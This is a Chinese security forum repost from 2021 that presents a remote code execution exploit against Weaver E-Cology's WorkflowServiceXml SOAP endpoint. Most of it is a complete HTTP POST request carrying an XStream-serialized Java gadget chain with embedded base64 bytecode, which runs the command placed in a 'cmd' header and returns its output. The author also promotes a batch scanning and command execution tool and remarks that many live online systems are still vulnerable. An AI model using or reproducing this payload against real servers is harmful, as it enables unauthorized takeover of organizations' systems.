安全矩阵

 找回密码
 立即注册
搜索
查看: 4051|回复: 0

泛微E-Cology WorkflowServiceXml RCE及批量检测+命令执行工具

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-12 21:19:01 | 显示全部楼层 |阅读模式
泛微E-Cology WorkflowServiceXml RCE及批量检测+命令执行工具原创 admin 白帽子飙车路 昨天
昨天水子哥在群里说布置了个作业,构造gadget来回显,作业完成的送0day,这不立马响应起来吗,漏洞分析参考他的文章《HVV行动之某OA流量应急》。看到有人说我发的是水文,我水nmb!

文章链接:

https://www.anquanke.com/post/id/239865

我没有源码,就不分析了,反正看也看不懂。

不过执行命令,那不是有手就行?
  1. POST /services%20/WorkflowServiceXml HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
  4. Connection: close
  5. Content-Type: text/xml
  6. cmd: whoami
  7. Content-Length: 27576

  8. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
  9.    <soapenv:Header/>
  10.    <soapenv:Body>
  11.       <web:doCreateWorkflowRequest>
  12.     <web:string><java.util.PriorityQueue serialization="custom">
  13.   <unserializable-parents/>
  14.   <java.util.PriorityQueue>
  15.     <default>
  16.       <size>2</size>
  17.       <comparator class="org.apache.commons.beanutils.BeanComparator">
  18.         <property>outputProperties</property>
  19.         <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
  20.       </comparator>
  21.     </default>
  22.     <int>3</int>
  23.     <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
  24.       <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  25.         <default>
  26.           <__name>Pwnr</__name>
  27.           <__bytecodes>
  28.             <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASg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nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array>
  29.             <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
  30.           </__bytecodes>
  31.           <__transletIndex>-1</__transletIndex>
  32.           <__indentNumber>0</__indentNumber>
  33.         </default>
  34.         <boolean>false</boolean>
  35.       </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  36.     </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  37.     <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
  38.   </java.util.PriorityQueue>
  39. </java.util.PriorityQueue></web:string>
  40.         <web:string>2</web:string>
  41.       </web:doCreateWorkflowRequest>
  42.    </soapenv:Body>
  43. </soapenv:Envelope>
复制代码
效果图如下:

顺便在这里分享下批量检测加命令执行回显的工具,实测线上环境到目前为止还存在很多漏洞。


使用方法如下:



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:38 , Processed in 0.012310 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表